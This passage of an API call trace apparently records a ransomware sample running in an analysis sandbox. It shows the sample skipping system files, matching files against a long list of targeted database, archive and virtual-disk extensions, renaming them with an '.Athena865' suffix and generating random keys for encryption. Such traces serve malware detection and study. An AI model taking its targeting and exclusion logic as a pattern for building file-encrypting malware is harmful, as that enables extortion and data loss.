lpString2="dacpac") returned 1 [0038.074] lstrlenW (lpString="dad") returned 3 [0038.074] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0038.074] lstrlenW (lpString="dadiagrams") returned 10 [0038.074] lstrcmpiW (lpString1="owutil.exe", lpString2="dadiagrams") returned 1 [0038.074] lstrlenW (lpString="daschema") returned 8 [0038.074] lstrcmpiW (lpString1="util.exe", lpString2="daschema") returned 1 [0038.074] lstrlenW (lpString="db-journal") returned 10 [0038.074] lstrcmpiW (lpString1="owutil.exe", lpString2="db-journal") returned 1 [0038.074] lstrlenW (lpString="db-shm") returned 6 [0038.074] lstrcmpiW (lpString1="il.exe", lpString2="db-shm") returned 1 [0038.074] lstrlenW (lpString="db-wal") returned 6 [0038.074] lstrcmpiW (lpString1="il.exe", lpString2="db-wal") returned 1 [0038.074] lstrlenW (lpString="dbc") returned 3 [0038.074] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0038.074] lstrlenW (lpString="dbs") returned 3 [0038.074] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0038.074] lstrlenW (lpString="dbt") returned 3 [0038.074] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0038.074] lstrlenW (lpString="dbv") returned 3 [0038.074] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0038.074] lstrlenW (lpString="dbx") returned 3 [0038.074] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0038.074] lstrlenW (lpString="dcb") returned 3 [0038.074] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0038.074] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0038.074] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\ielowutil.exe.Athena865") returned 58 [0038.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), lpNewFileName="C:\\Program Files\\Internet Explorer\\ielowutil.exe.Athena865" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe.athena865"), dwFlags=0x1) returned 1 [0038.075] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ielowutil.exe.Athena865" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0038.075] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=115712) returned 1 [0038.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0038.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.076] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.076] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.076] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.076] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c700, lpName=0x0) returned 0x154 [0038.078] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c700) returned 0x100000 [0038.093] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.094] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.094] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0038.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0038.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.095] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0038.096] CloseHandle (hObject=0x154) returned 1 [0038.096] CloseHandle (hObject=0x17c) returned 1 [0038.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0038.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.099] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3803259, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3803259, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3803259, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2=".") returned 1 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2="..") returned 1 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2="windows") returned -1 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2="bootmgr") returned 1 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2="temp") returned -1 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2="pagefile.sys") returned -1 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2="boot") returned 1 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2="ids.txt") returned 1 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2="ntuser.dat") returned -1 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2="perflogs") returned -1 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2="MSBuild") returned -1 [0038.099] lstrlenW (lpString="ieproxy.dll") returned 11 [0038.099] lstrcpyW (in: lpString1=0x241e88e, lpString2="ieproxy.dll" | out: lpString1="ieproxy.dll") returned="ieproxy.dll" [0038.099] lstrlenW (lpString="ieproxy.dll") returned 11 [0038.099] lstrlenW (lpString="Athena865") returned 9 [0038.099] lstrcmpiW (lpString1="proxy.dll", lpString2="Athena865") returned 1 [0038.099] lstrlenW (lpString=".dll") returned 4 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2=".dll") returned 1 [0038.099] lstrlenW (lpString=".lnk") returned 4 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2=".lnk") returned 1 [0038.099] lstrlenW (lpString=".ini") returned 4 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2=".ini") returned 1 [0038.099] lstrlenW (lpString=".sys") returned 4 [0038.099] lstrcmpiW (lpString1="ieproxy.dll", lpString2=".sys") returned 1 [0038.099] lstrlenW (lpString="ieproxy.dll") returned 11 [0038.099] lstrlenW (lpString="bak") returned 3 [0038.099] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0038.099] lstrlenW (lpString="ba_") returned 3 [0038.099] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0038.099] lstrlenW (lpString="dbb") returned 3 [0038.099] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0038.100] lstrlenW (lpString="vmdk") returned 4 [0038.100] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0038.100] lstrlenW (lpString="rar") returned 3 [0038.100] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0038.100] lstrlenW (lpString="zip") returned 3 [0038.100] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0038.100] lstrlenW (lpString="tgz") returned 3 [0038.100] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0038.100] lstrlenW (lpString="vbox") returned 4 [0038.100] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0038.100] lstrlenW (lpString="vdi") returned 3 [0038.100] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0038.100] lstrlenW (lpString="vhd") returned 3 [0038.100] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0038.100] lstrlenW (lpString="vhdx") returned 4 [0038.100] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0038.100] lstrlenW (lpString="avhd") returned 4 [0038.100] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0038.100] lstrlenW (lpString="db") returned 2 [0038.100] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0038.100] lstrlenW (lpString="db2") returned 3 [0038.100] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0038.100] lstrlenW (lpString="db3") returned 3 [0038.100] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0038.100] lstrlenW (lpString="dbf") returned 3 [0038.100] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0038.100] lstrlenW (lpString="mdf") returned 3 [0038.100] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0038.100] lstrlenW (lpString="mdb") returned 3 [0038.100] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0038.100] lstrlenW (lpString="sql") returned 3 [0038.100] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0038.100] lstrlenW (lpString="sqlite") returned 6 [0038.100] lstrcmpiW (lpString1="xy.dll", lpString2="sqlite") returned 1 [0038.100] lstrlenW (lpString="sqlite3") returned 7 [0038.100] lstrcmpiW (lpString1="oxy.dll", lpString2="sqlite3") returned -1 [0038.100] lstrlenW (lpString="sqlitedb") returned 8 [0038.101] lstrcmpiW (lpString1="roxy.dll", lpString2="sqlitedb") returned -1 [0038.101] lstrlenW (lpString="xml") returned 3 [0038.101] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0038.101] lstrlenW (lpString="$er") returned 3 [0038.101] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0038.101] lstrlenW (lpString="4dd") returned 3 [0038.101] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0038.101] lstrlenW (lpString="4dl") returned 3 [0038.101] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0038.101] lstrlenW (lpString="^^^") returned 3 [0038.101] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0038.101] lstrlenW (lpString="abs") returned 3 [0038.101] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0038.101] lstrlenW (lpString="abx") returned 3 [0038.101] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0038.101] lstrlenW (lpString="accdb") returned 5 [0038.101] lstrcmpiW (lpString1="y.dll", lpString2="accdb") returned 1 [0038.101] lstrlenW (lpString="accdc") returned 5 [0038.101] lstrcmpiW (lpString1="y.dll", lpString2="accdc") returned 1 [0038.101] lstrlenW (lpString="accde") returned 5 [0038.101] lstrcmpiW (lpString1="y.dll", lpString2="accde") returned 1 [0038.101] lstrlenW (lpString="accdr") returned 5 [0038.101] lstrcmpiW (lpString1="y.dll", lpString2="accdr") returned 1 [0038.101] lstrlenW (lpString="accdt") returned 5 [0038.101] lstrcmpiW (lpString1="y.dll", lpString2="accdt") returned 1 [0038.101] lstrlenW (lpString="accdw") returned 5 [0038.101] lstrcmpiW (lpString1="y.dll", lpString2="accdw") returned 1 [0038.101] lstrlenW (lpString="accft") returned 5 [0038.101] lstrcmpiW (lpString1="y.dll", lpString2="accft") returned 1 [0038.101] lstrlenW (lpString="adb") returned 3 [0038.101] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0038.101] lstrlenW (lpString="adb") returned 3 [0038.101] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0038.101] lstrlenW (lpString="ade") returned 3 [0038.101] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0038.101] lstrlenW (lpString="adf") returned 3 [0038.101] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0038.101] lstrlenW (lpString="adn") returned 3 [0038.101] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0038.102] lstrlenW (lpString="adp") returned 3 [0038.102] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0038.102] lstrlenW (lpString="alf") returned 3 [0038.102] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0038.102] lstrlenW (lpString="ask") returned 3 [0038.102] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0038.102] lstrlenW (lpString="btr") returned 3 [0038.102] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0038.102] lstrlenW (lpString="cat") returned 3 [0038.102] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0038.102] lstrlenW (lpString="cdb") returned 3 [0038.102] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0038.102] lstrlenW (lpString="ckp") returned 3 [0038.102] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0038.102] lstrlenW (lpString="cma") returned 3 [0038.102] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0038.102] lstrlenW (lpString="cpd") returned 3 [0038.102] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0038.102] lstrlenW (lpString="dacpac") returned 6 [0038.102] lstrcmpiW (lpString1="xy.dll", lpString2="dacpac") returned 1 [0038.102] lstrlenW (lpString="dad") returned 3 [0038.102] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0038.102] lstrlenW (lpString="dadiagrams") returned 10 [0038.102] lstrcmpiW (lpString1="eproxy.dll", lpString2="dadiagrams") returned 1 [0038.102] lstrlenW (lpString="daschema") returned 8 [0038.102] lstrcmpiW (lpString1="roxy.dll", lpString2="daschema") returned 1 [0038.102] lstrlenW (lpString="db-journal") returned 10 [0038.102] lstrcmpiW (lpString1="eproxy.dll", lpString2="db-journal") returned 1 [0038.102] lstrlenW (lpString="db-shm") returned 6 [0038.102] lstrcmpiW (lpString1="xy.dll", lpString2="db-shm") returned 1 [0038.102] lstrlenW (lpString="db-wal") returned 6 [0038.102] lstrcmpiW (lpString1="xy.dll", lpString2="db-wal") returned 1 [0038.102] lstrlenW (lpString="dbc") returned 3 [0038.102] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0038.102] lstrlenW (lpString="dbs") returned 3 [0038.102] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0038.102] lstrlenW (lpString="dbt") returned 3 [0038.103] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0038.103] lstrlenW (lpString="dbv") returned 3 [0038.103] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0038.103] lstrlenW (lpString="dbx") returned 3 [0038.103] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0038.103] lstrlenW (lpString="dcb") returned 3 [0038.103] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0038.103] lstrlenW (lpString="dct") returned 3 [0038.103] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0038.103] lstrlenW (lpString="dcx") returned 3 [0038.103] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0038.103] lstrlenW (lpString="ddl") returned 3 [0038.103] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0038.103] lstrlenW (lpString="dlis") returned 4 [0038.103] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0038.103] lstrlenW (lpString="dp1") returned 3 [0038.103] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0038.103] lstrlenW (lpString="dqy") returned 3 [0038.103] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0038.103] lstrlenW (lpString="dsk") returned 3 [0038.103] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0038.103] lstrlenW (lpString="dsn") returned 3 [0038.103] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0038.103] lstrlenW (lpString="dtsx") returned 4 [0038.103] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0038.103] lstrlenW (lpString="dxl") returned 3 [0038.103] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0038.103] lstrlenW (lpString="eco") returned 3 [0038.103] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0038.103] lstrlenW (lpString="ecx") returned 3 [0038.103] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0038.103] lstrlenW (lpString="edb") returned 3 [0038.103] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0038.103] lstrlenW (lpString="epim") returned 4 [0038.103] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0038.103] lstrlenW (lpString="fcd") returned 3 [0038.103] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0038.104] lstrlenW (lpString="fdb") returned 3 [0038.104] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0038.104] lstrlenW (lpString="fic") returned 3 [0038.104] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0038.104] lstrlenW (lpString="flexolibrary") returned 12 [0038.104] lstrlenW (lpString="fm5") returned 3 [0038.104] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0038.104] lstrlenW (lpString="fmp") returned 3 [0038.104] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0038.104] lstrlenW (lpString="fmp12") returned 5 [0038.104] lstrcmpiW (lpString1="y.dll", lpString2="fmp12") returned 1 [0038.104] lstrlenW (lpString="fmpsl") returned 5 [0038.104] lstrcmpiW (lpString1="y.dll", lpString2="fmpsl") returned 1 [0038.104] lstrlenW (lpString="fol") returned 3 [0038.104] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0038.104] lstrlenW (lpString="fp3") returned 3 [0038.104] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0038.104] lstrlenW (lpString="fp4") returned 3 [0038.104] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0038.104] lstrlenW (lpString="fp5") returned 3 [0038.104] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0038.104] lstrlenW (lpString="fp7") returned 3 [0038.104] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0038.104] lstrlenW (lpString="fpt") returned 3 [0038.104] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0038.104] lstrlenW (lpString="frm") returned 3 [0038.104] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0038.104] lstrlenW (lpString="gdb") returned 3 [0038.104] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0038.104] lstrlenW (lpString="gdb") returned 3 [0038.104] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0038.104] lstrlenW (lpString="grdb") returned 4 [0038.104] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0038.104] lstrlenW (lpString="gwi") returned 3 [0038.104] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0038.104] lstrlenW (lpString="hdb") returned 3 [0038.104] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0038.104] lstrlenW (lpString="his") returned 3 [0038.105] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0038.105] lstrlenW (lpString="ib") returned 2 [0038.105] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0038.105] lstrlenW (lpString="idb") returned 3 [0038.105] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0038.105] lstrlenW (lpString="ihx") returned 3 [0038.105] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0038.105] lstrlenW (lpString="itdb") returned 4 [0038.105] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0038.105] lstrlenW (lpString="itw") returned 3 [0038.105] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0038.105] lstrlenW (lpString="jet") returned 3 [0038.105] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0038.105] lstrlenW (lpString="jtx") returned 3 [0038.105] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0038.105] lstrlenW (lpString="kdb") returned 3 [0038.105] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0038.105] lstrlenW (lpString="kexi") returned 4 [0038.105] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0038.105] lstrlenW (lpString="kexic") returned 5 [0038.105] lstrcmpiW (lpString1="y.dll", lpString2="kexic") returned 1 [0038.105] lstrlenW (lpString="kexis") returned 5 [0038.105] lstrcmpiW (lpString1="y.dll", lpString2="kexis") returned 1 [0038.105] lstrlenW (lpString="lgc") returned 3 [0038.105] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0038.105] lstrlenW (lpString="lwx") returned 3 [0038.105] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0038.105] lstrlenW (lpString="maf") returned 3 [0038.105] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0038.105] lstrlenW (lpString="maq") returned 3 [0038.105] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0038.105] lstrlenW (lpString="mar") returned 3 [0038.105] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0038.105] lstrlenW (lpString="marshal") returned 7 [0038.105] lstrcmpiW (lpString1="oxy.dll", lpString2="marshal") returned 1 [0038.105] lstrlenW (lpString="mas") returned 3 [0038.105] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0038.105] lstrlenW (lpString="mav") returned 3 [0038.105] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0038.106] lstrlenW (lpString="maw") returned 3 [0038.106] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0038.106] lstrlenW (lpString="mdbhtml") returned 7 [0038.106] lstrcmpiW (lpString1="oxy.dll", lpString2="mdbhtml") returned 1 [0038.106] lstrlenW (lpString="mdn") returned 3 [0038.106] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0038.106] lstrlenW (lpString="mdt") returned 3 [0038.106] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0038.106] lstrlenW (lpString="mfd") returned 3 [0038.106] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0038.106] lstrlenW (lpString="mpd") returned 3 [0038.106] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0038.106] lstrlenW (lpString="mrg") returned 3 [0038.106] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0038.106] lstrlenW (lpString="mud") returned 3 [0038.106] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0038.106] lstrlenW (lpString="mwb") returned 3 [0038.106] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0038.106] lstrlenW (lpString="myd") returned 3 [0038.106] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0038.106] lstrlenW (lpString="ndf") returned 3 [0038.106] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0038.106] lstrlenW (lpString="nnt") returned 3 [0038.106] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0038.106] lstrlenW (lpString="nrmlib") returned 6 [0038.106] lstrcmpiW (lpString1="xy.dll", lpString2="nrmlib") returned 1 [0038.106] lstrlenW (lpString="ns2") returned 3 [0038.106] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0038.106] lstrlenW (lpString="ns3") returned 3 [0038.106] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0038.106] lstrlenW (lpString="ns4") returned 3 [0038.106] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0038.106] lstrlenW (lpString="nsf") returned 3 [0038.106] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0038.106] lstrlenW (lpString="nv") returned 2 [0038.106] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0038.106] lstrlenW (lpString="nv2") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0038.107] lstrlenW (lpString="nwdb") returned 4 [0038.107] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0038.107] lstrlenW (lpString="nyf") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0038.107] lstrlenW (lpString="odb") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0038.107] lstrlenW (lpString="odb") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0038.107] lstrlenW (lpString="oqy") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0038.107] lstrlenW (lpString="ora") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0038.107] lstrlenW (lpString="orx") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0038.107] lstrlenW (lpString="owc") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0038.107] lstrlenW (lpString="p96") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0038.107] lstrlenW (lpString="p97") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0038.107] lstrlenW (lpString="pan") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0038.107] lstrlenW (lpString="pdb") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0038.107] lstrlenW (lpString="pdm") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0038.107] lstrlenW (lpString="pnz") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0038.107] lstrlenW (lpString="qry") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0038.107] lstrlenW (lpString="qvd") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0038.107] lstrlenW (lpString="rbf") returned 3 [0038.107] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0038.107] lstrlenW (lpString="rctd") returned 4 [0038.107] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0038.108] lstrlenW (lpString="rod") returned 3 [0038.108] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0038.108] lstrlenW (lpString="rodx") returned 4 [0038.108] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0038.108] lstrlenW (lpString="rpd") returned 3 [0038.108] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0038.108] lstrlenW (lpString="rsd") returned 3 [0038.108] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0038.108] lstrlenW (lpString="sas7bdat") returned 8 [0038.108] lstrcmpiW (lpString1="roxy.dll", lpString2="sas7bdat") returned -1 [0038.108] lstrlenW (lpString="sbf") returned 3 [0038.108] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0038.108] lstrlenW (lpString="scx") returned 3 [0038.108] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0038.108] lstrlenW (lpString="sdb") returned 3 [0038.108] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0038.108] lstrlenW (lpString="sdc") returned 3 [0038.108] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0038.108] lstrlenW (lpString="sdf") returned 3 [0038.108] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0038.108] lstrlenW (lpString="sis") returned 3 [0038.108] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0038.108] lstrlenW (lpString="spq") returned 3 [0038.108] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0038.108] lstrlenW (lpString="te") returned 2 [0038.108] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0038.108] lstrlenW (lpString="teacher") returned 7 [0038.108] lstrcmpiW 